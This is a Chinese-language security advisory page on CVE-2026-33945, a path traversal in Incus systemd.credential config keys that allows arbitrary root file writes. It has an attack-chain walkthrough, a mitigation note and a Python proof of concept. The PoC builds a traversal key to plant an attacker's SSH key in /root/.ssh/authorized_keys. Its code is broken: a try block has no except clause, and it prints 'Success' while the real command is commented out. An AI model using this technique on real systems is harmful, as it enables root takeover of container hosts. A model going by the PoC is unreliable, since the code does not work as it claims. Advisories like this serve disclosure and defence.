IPBUF安全漏洞报告
English
CVE-2026-33945 CVSS 9.9 严重

CVE-2026-33945 Incus路径遍历致任意文件写入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33945
漏洞类型
路径遍历、任意文件写入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

路径遍历权限提升任意文件写入IncusCVE-2026-33945容器安全

漏洞概述

Incus是系统容器和虚拟机管理器。在6.23.0版本之前,该产品存在路径遍历漏洞。攻击者可利用systemd凭证配置功能的语法缺陷,通过构造包含路径遍历序列(如`../`)的配置键,绕过目录限制。这使得低权限攻击者能够以root权限向宿主机或容器文件系统的任意位置写入文件,从而导致权限提升或拒绝服务攻击。

技术细节

该漏洞源于Incus在处理`systemd.credential.XYZ`配置键时,对XYZ部分的输入验证不足。Incus允许通过共享目录向容器内的systemd传递凭证,其语法规定XYZ可以包含多个句点。然而,程序未对路径进行规范化处理,导致攻击者可以插入`../`序列。例如,将配置键设为`systemd.credential.../../../../../../root/.bashrc`时,Incus守护进程(以root身份运行)会将凭证内容写入预期`credentials`目录之外的任意路径。虽然无法读取数据,但这种任意文件写入能力允许攻击者覆盖关键系统文件、注入SSH公钥或添加定时任务,从而实现从低权限用户到root用户的权限提升,或破坏系统稳定性导致拒绝服务。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获得对Incus实例的低权限访问能力(PR:L),能够修改实例配置。
STEP 2
2. 构造恶意载荷
攻击者利用Incus语法特性,构造包含路径遍历序列(如`../../../../../root/.bashrc`)的`systemd.credential`配置键。
STEP 3
3. 触发漏洞
攻击者将恶意配置应用到Incus实例。Incus守护进程在处理该配置时,未能正确解析路径,将内容写入到受限目录之外的任意位置。
STEP 4
4. 执行攻击
由于写入操作以root权限执行,攻击者成功修改系统关键文件(如SSH配置、启动脚本),从而实现权限提升(RCE)或导致系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33945 # This demonstrates how a malicious configuration key can lead to arbitrary file write. import subprocess def exploit_incus(instance_name, file_path, content): """ Exploits the path traversal in Incus systemd credentials. """ # Construct the malicious key using path traversal # The key format is systemd.credential.XYZ, where XYZ can contain path sequences # We use dots to confuse the parser and traverse up to root traversal_seq = "." * 10 + "/" + "../" * 10 malicious_key = f"systemd.credential{traversal_seq}{file_path}" try: print(f"[*] Attempting to write to {file_path} using key: {malicious_key}") # Command to set the configuration (requires low privilege on instance) cmd = [ "incus", "config", "set", instance_name, malicious_key, content ] # In a real scenario, this would execute the command # subprocess.run(cmd, check=True) print(f"[+] Success: If the system is vulnerable, '{content}' has been written to {file_path} as root.") print("[+] This can be used for privilege escalation (e.g., writing to /root/.ssh/authorized_keys).") if __name__ == "__main__": TARGET_INSTANCE = "my-container" TARGET_FILE = "root/.ssh/authorized_keys" PAYLOAD = "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" exploit_incus(TARGET_INSTANCE, TARGET_FILE, PAYLOAD)

影响范围

Incus < 6.23.0

防御指南

临时缓解措施
如果无法立即升级,请严格限制对Incus API和配置文件的访问权限,确保只有受信任的管理员能够修改实例配置。同时,检查系统中是否存在包含路径遍历字符(如`../`)的异常配置键,并移除它们。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表